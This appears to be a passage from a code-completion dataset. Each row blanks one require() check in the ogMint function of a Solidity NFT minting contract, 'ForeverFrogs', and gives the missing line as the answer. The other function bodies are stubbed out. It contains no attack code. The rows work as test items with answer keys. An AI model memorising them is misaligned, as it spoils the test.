contract ForeverFrogs is ERC721AQueryable, Ownable, PaymentSplitter, DefaultOperatorFilterer {
using Strings for uint;
uint16 public maxSupply = 7777;
uint8 public maxPerTx = 25;
uint8 public maxMintForEgg = 100;
uint8 public maxMintForOg = 200;
uint8 public maxMintForWhitelist = 200;
uint8 public maxMintPerAddress = 250;
uint8 public maxBurnEggsPerTx = 10;
uint8 public freeMintMaxPerTx = 5;
uint8 public freeMintMaxPerAddress = 5;
uint16 public freeMintUntilSupply = 0;
uint32 public mintStartTime = 1668790800;
uint64 public ogPrice = 0.015 ether;
uint64 public whitelistPrice = 0.02 ether;
uint64 public price = 0.025 ether;
bool public isEggMintActive = true;
bytes32 public ogMerkleRoot;
bytes32 public whitelistMerkleRoot;
string private baseURI;
enum Step {
Before,
OgMint,
WhitelistMint,
PublicMint,
SoldOut
}
mapping(address => uint8) private eggsByAddress;
mapping(address => uint8) private ogByAddress;
mapping(address => uint8) private whitelistByAddress;
mapping(address => uint8) private nftByAddress;
mapping(uint256 => bool) private alreadyBurnedEggs;
ForeverFrogsEgg public foreverFrogsEgg;
address public deadAddress = 0x000000000000000000000000000000000000dEaD;
constructor(address[] memory _team, uint[] memory _teamShares, bytes32 _ogMerkleRoot, bytes32 _whitelistMerkleRoot)
ERC721A("Forever Frogs", "FF")
PaymentSplitter(_team, _teamShares)
{
}
event BurnAndMintEvent(uint256[] indexed burnedIds, address indexed owner);
event OgMintEvent(uint256 indexed quantity, address indexed owner);
event WhitelistMintEvent(uint256 indexed quantity, address indexed owner);
event MintEvent(uint256 indexed quantity, address indexed owner);
function getStep() public view returns(Step actualStep) {
}
function burnAndMint(uint256[] calldata ids) external senderControl {
}
function ogMint(uint256 _quantity, bytes32[] calldata _proof) external payable senderControl {
require(<FILL_ME>)
require(_quantity > 0, "Mint 0 has no sense");
require(_quantity < maxPerTx + 1, "Max NFTs per transaction reached");
require(totalMinted() + _quantity < maxSupply + 1, "Max supply exceeded");
require(msg.value >= ogPrice * _quantity, "Not enough funds");
require(isOgWhiteListed(msg.sender, _proof), "Not an OG");
require(ogByAddress[msg.sender] + _quantity < maxMintForOg + 1, "Max OG reached for your address");
require(nftByAddress[msg.sender] + _quantity < maxMintPerAddress + 1, "Max per wallet reached");
ogByAddress[msg.sender] += uint8(_quantity);
nftByAddress[msg.sender] += uint8(_quantity);
_safeMint(msg.sender, _quantity);
emit OgMintEvent(_quantity, msg.sender);
}
function whitelistMint(uint256 _quantity, bytes32[] calldata _proof) external payable senderControl {
}
function mint(uint256 _quantity) external payable senderControl {
}
function airdrop(address _to, uint256 _quantity) external onlyOwner {
}
//Whitelist
function setWhitelistMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function isWhiteListed(address _account, bytes32[] calldata _proof) internal view returns(bool) {
}
function _verifyWhitelist(bytes32 _leaf, bytes32[] memory _proof) internal view returns(bool) {
}
//OGs
function setOgMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function isOgWhiteListed(address _account, bytes32[] calldata _proof) internal view returns(bool) {
}
function _verifyOg(bytes32 _leaf, bytes32[] memory _proof) internal view returns(bool) {
}
function leaf(address _account) internal pure returns(bytes32) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI_) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override (ERC721A, IERC721A) returns (string memory) {
}
function totalMinted() public view returns (uint256) {
}
function flipEggMintState() external onlyOwner {
}
function setPrice(uint64 _price) external onlyOwner {
}
function setOgPrice(uint64 _price) external onlyOwner {
}
function setWhitelistPrice(uint64 _price) external onlyOwner {
}
function setMintStartTime(uint32 _timestamp) external onlyOwner {
}
function setForeverFrogsEgg(address _address) external onlyOwner {
}
function setMaxSupply(uint16 _supply) external onlyOwner {
}
function setMaxPerTx(uint8 _max) external onlyOwner {
}
function setMaxMintForEgg(uint8 _max) external onlyOwner {
}
function setMaxMintForOg(uint8 _max) external onlyOwner {
}
function setMaxMintForWhitelist(uint8 _max) external onlyOwner {
}
function setMaxMintPerAddress(uint8 _max) external onlyOwner {
}
function setMaxBurnEggsPerTx(uint8 _max) external onlyOwner {
}
function setFreeMintUntilSupply(uint16 _supply) external onlyOwner {
}
function setFreeMintMaxPerTx(uint8 _max) external onlyOwner {
}
function setFreeMintMaxPerAddress(uint8 _max) external onlyOwner {
}
function burnedEggsFromAddress(address _address) external view returns (uint8) {
}
function ogMintedFromAddress(address _address) external view returns (uint8) {
}
function whitelistMintedFromAddress(address _address) external view returns (uint8) {
}
function nftMintedFromAddress(address _address) external view returns (uint8) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
modifier senderControl() {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override (IERC721A, ERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override (IERC721A, ERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override (IERC721A, ERC721A)
onlyAllowedOperator(from)
{
}
}
| getStep()==Step.OgMint,"OG mint is not available" | 234,785 | getStep()==Step.OgMint |
"Max supply exceeded" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./ERC721AQueryable.sol";
import "./ForeverFrogsEgg.sol";
import "./DefaultOperatorFilterer.sol";
contract ForeverFrogs is ERC721AQueryable, Ownable, PaymentSplitter, DefaultOperatorFilterer {
using Strings for uint;
uint16 public maxSupply = 7777;
uint8 public maxPerTx = 25;
uint8 public maxMintForEgg = 100;
uint8 public maxMintForOg = 200;
uint8 public maxMintForWhitelist = 200;
uint8 public maxMintPerAddress = 250;
uint8 public maxBurnEggsPerTx = 10;
uint8 public freeMintMaxPerTx = 5;
uint8 public freeMintMaxPerAddress = 5;
uint16 public freeMintUntilSupply = 0;
uint32 public mintStartTime = 1668790800;
uint64 public ogPrice = 0.015 ether;
uint64 public whitelistPrice = 0.02 ether;
uint64 public price = 0.025 ether;
bool public isEggMintActive = true;
bytes32 public ogMerkleRoot;
bytes32 public whitelistMerkleRoot;
string private baseURI;
enum Step {
Before,
OgMint,
WhitelistMint,
PublicMint,
SoldOut
}
mapping(address => uint8) private eggsByAddress;
mapping(address => uint8) private ogByAddress;
mapping(address => uint8) private whitelistByAddress;
mapping(address => uint8) private nftByAddress;
mapping(uint256 => bool) private alreadyBurnedEggs;
ForeverFrogsEgg public foreverFrogsEgg;
address public deadAddress = 0x000000000000000000000000000000000000dEaD;
constructor(address[] memory _team, uint[] memory _teamShares, bytes32 _ogMerkleRoot, bytes32 _whitelistMerkleRoot)
ERC721A("Forever Frogs", "FF")
PaymentSplitter(_team, _teamShares)
{
}
event BurnAndMintEvent(uint256[] indexed burnedIds, address indexed owner);
event OgMintEvent(uint256 indexed quantity, address indexed owner);
event WhitelistMintEvent(uint256 indexed quantity, address indexed owner);
event MintEvent(uint256 indexed quantity, address indexed owner);
function getStep() public view returns(Step actualStep) {
}
function burnAndMint(uint256[] calldata ids) external senderControl {
}
function ogMint(uint256 _quantity, bytes32[] calldata _proof) external payable senderControl {
require(getStep() == Step.OgMint, "OG mint is not available");
require(_quantity > 0, "Mint 0 has no sense");
require(_quantity < maxPerTx + 1, "Max NFTs per transaction reached");
require(<FILL_ME>)
require(msg.value >= ogPrice * _quantity, "Not enough funds");
require(isOgWhiteListed(msg.sender, _proof), "Not an OG");
require(ogByAddress[msg.sender] + _quantity < maxMintForOg + 1, "Max OG reached for your address");
require(nftByAddress[msg.sender] + _quantity < maxMintPerAddress + 1, "Max per wallet reached");
ogByAddress[msg.sender] += uint8(_quantity);
nftByAddress[msg.sender] += uint8(_quantity);
_safeMint(msg.sender, _quantity);
emit OgMintEvent(_quantity, msg.sender);
}
function whitelistMint(uint256 _quantity, bytes32[] calldata _proof) external payable senderControl {
}
function mint(uint256 _quantity) external payable senderControl {
}
function airdrop(address _to, uint256 _quantity) external onlyOwner {
}
//Whitelist
function setWhitelistMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function isWhiteListed(address _account, bytes32[] calldata _proof) internal view returns(bool) {
}
function _verifyWhitelist(bytes32 _leaf, bytes32[] memory _proof) internal view returns(bool) {
}
//OGs
function setOgMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function isOgWhiteListed(address _account, bytes32[] calldata _proof) internal view returns(bool) {
}
function _verifyOg(bytes32 _leaf, bytes32[] memory _proof) internal view returns(bool) {
}
function leaf(address _account) internal pure returns(bytes32) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI_) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override (ERC721A, IERC721A) returns (string memory) {
}
function totalMinted() public view returns (uint256) {
}
function flipEggMintState() external onlyOwner {
}
function setPrice(uint64 _price) external onlyOwner {
}
function setOgPrice(uint64 _price) external onlyOwner {
}
function setWhitelistPrice(uint64 _price) external onlyOwner {
}
function setMintStartTime(uint32 _timestamp) external onlyOwner {
}
function setForeverFrogsEgg(address _address) external onlyOwner {
}
function setMaxSupply(uint16 _supply) external onlyOwner {
}
function setMaxPerTx(uint8 _max) external onlyOwner {
}
function setMaxMintForEgg(uint8 _max) external onlyOwner {
}
function setMaxMintForOg(uint8 _max) external onlyOwner {
}
function setMaxMintForWhitelist(uint8 _max) external onlyOwner {
}
function setMaxMintPerAddress(uint8 _max) external onlyOwner {
}
function setMaxBurnEggsPerTx(uint8 _max) external onlyOwner {
}
function setFreeMintUntilSupply(uint16 _supply) external onlyOwner {
}
function setFreeMintMaxPerTx(uint8 _max) external onlyOwner {
}
function setFreeMintMaxPerAddress(uint8 _max) external onlyOwner {
}
function burnedEggsFromAddress(address _address) external view returns (uint8) {
}
function ogMintedFromAddress(address _address) external view returns (uint8) {
}
function whitelistMintedFromAddress(address _address) external view returns (uint8) {
}
function nftMintedFromAddress(address _address) external view returns (uint8) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
modifier senderControl() {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override (IERC721A, ERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override (IERC721A, ERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override (IERC721A, ERC721A)
onlyAllowedOperator(from)
{
}
}
| totalMinted()+_quantity<maxSupply+1,"Max supply exceeded" | 234,785 | totalMinted()+_quantity<maxSupply+1 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.